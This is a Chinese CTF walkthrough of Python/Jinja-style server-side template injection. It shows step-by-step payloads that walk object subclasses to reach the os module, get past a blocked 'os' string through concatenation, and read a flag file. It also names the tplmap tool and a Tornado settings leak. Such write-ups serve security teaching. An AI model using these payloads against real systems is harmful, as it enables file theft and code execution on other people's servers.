和常见Web注入(SQL注入等)的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。(web安全中的真理:永远不要相信用户的输入)
以一道CTF为例,简单演示一下注入的流程及一些被过滤了的命令的构造方法;
首先打开网站是这个样子的:http://??.106.72.26/info/38
然后在38后面加 {{'a'+'x'}}:http://??.106.72.26/info/38 {{'a'+'x'}}
页面返回如图:
出现了字符串'ax',说明这个页面存在模板注入;
尝试利用os模块进行文件操作,先尝试访问当前目录下的文件有哪些;
在url后面输入
{{os.listdir('.')}}
,结果发现:
所以尝试通过访问os模块的方法来利用os模块;
通过在url后面输入
{{[].__class__.__base__.__subclasses__()}}
的方法来访问所有模块:
通过查阅其他资料,知道访问os模块都是从warnings.catch_warnings模块入手的。找到catch_warnings的位置(上面查到的所有模块的索引,这里是59,即第59个模块);
知道了位置后,再用func_globals看看该模块有哪些global函数;
在url后面输入
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}
,然后看到:
这里能看到linecache,我们要访问的os模块就在这里,现在我们看看这个模块的各种属性:
在url后面输入
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__}}
,然后在很长的返回值里就可以找到os模块了(返回页面的部分截图):
然后就可以用
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s']}}
来代替os模块的使用了,之所以写__dict__['o'+'s'],而不写__dict__['os'],是因为os这个字符串被禁用了,只能使用python里面字符串的拼接绕过现在os.read(),就成这样:
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].read()
,os.open()是这样的:
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].open()
os.listdir('.'),是这样的:
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].listdir('.')
现在执行os.listdir('.')命令,就可以在url后写入上面的命令,可以看到flag文件了:
然后在url后面输入转换过的os.read(os.open("flag",os.O_RDONLY),40),就可以读出flag的内容了:
os.read(os.open("flag",os.O_RDONLY),40)转换后的命令:
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].read([].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].open("flag",[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].O_RDONLY),40)}}
总结:如果需要用其他的模块,但是被禁止了,依然可以用这个方法去代替某一个模块;
另外可以利用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap,都是基于python的。
Tornado框架: {{handler.settings}}配置文件;